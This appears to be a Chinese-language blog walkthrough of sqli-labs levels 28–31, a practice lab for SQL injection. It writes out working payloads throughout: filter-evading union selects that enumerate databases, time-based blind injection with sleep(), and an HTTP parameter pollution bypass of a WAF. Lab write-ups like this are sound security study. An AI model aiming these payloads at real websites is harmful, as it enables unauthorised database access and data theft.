less 28-31

less28

id=1  显示正常

id=1’  显示不正常 说明存在注入漏洞

接下来得坑 请注意

?id=1‘ || ’1‘=‘1  这个时候数据回显正常

 

less 28-31_第1张图片

?id=1‘  %a0   union %a0   select %a0  1,2,3      || ’1‘=‘1  这个正常的操作但是显示确实错误的?

 

less 28-31_第2张图片

 

我们将   ||进行替换一下

 

less 28-31_第3张图片

 

 

?id=1'%26%26'1'='2        没有回显信息 less 28-31_第4张图片

 

?id=1%26%26'1'='1  有回显信息less 28-31_第5张图片

 

 

 

 

 

 

  返回为空 就会报错

 

 

但其实他得闭合方式是  id=1’)

less 28-31_第6张图片

 

 

http://192.168.50.100/sqli/Less-28/?id=1') %a0 order  %a0  by %a0  3 ;%00  判断有三列

 

less 28-31_第7张图片

 

http://192.168.50.100/sqli/Less-28/?id=11111‘)  %a0 union   %a0  select  %a0  1,2,3 ;%00 此时可以得到回显位。

 

 less 28-31_第8张图片

 

http://192.168.50.100/sqli/Less-28/?id=11111‘)  %a0 union   %a0  select  %a0  1,2,

          group_concat(schema_name) %a0  from  %a0   information_schema.schemata ;%00

less 28-31_第9张图片

也可以不使用 ;%00 闭合 使用 or语句闭合

 

less 28-31_第10张图片

 

 

 

 

因为没有报错信息 所以我们不可以使用报错注入

 

但是我们可以使用时间盲注

1. http://192.168.50.100/sqli/Less-28/?id=1')  %a0   %26%26   if( length(database())>1, 1, sleep(5)    ) ;%00

或者  http://192.168.50.100/sqli/Less-28/?id=1')   %a0   %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26  ('1')=(‘1    

闭合方式得不同
这两种都是可以的

 

 

 

less 28-31_第11张图片

less 28-31_第12张图片

 

 

less28a    和28 基本一致   只是代码过滤得问题

使用28得语句就可以

 

 

less29

less 28-31_第13张图片

 

 

less 28-31_第14张图片

 

 

 这个才是29关得文件

可以从介绍上看出,第29关被称为世界上最好的WAF,网上许多讲解的办法就是和第一关差不多,其实是不对的。

sqli-labs文件夹下面还有tomcat文件,这才是真正的less,里面的jspstudy需要搭建环境

jspstudy:https://www.xp.cn/download.html

选择jspstudyless 28-31_第15张图片

 

 

 

修改jspstudy网络端口号  否则会与phpstudy端口冲突

 

less 28-31_第16张图片

 

29关得地址要匹配 要不然  打不开相应得页面

less 28-31_第17张图片

 

打开相应得网址

 

 

less 28-31_第18张图片

 

 

 

 

补充知识   服务器得俩层架构

https://www.cnblogs.com/lcamry/p/5762961.html

less 28-31_第19张图片

 

 indexx.php?id=1&id=2,  第一个参数是针对服务端得参数  第二个参数是针对apache服务器得参数

 

 

http参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,

               php/apache使用$_GET["id"]获取的是第二个值,

       那么第一个id纯数字,第二个id的值注入就可以了

http://192.168.50.100:8080/sqli-labs/Less-29/index.jsp?id=1' order by 3--+

less 28-31_第20张图片

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(less 28-31)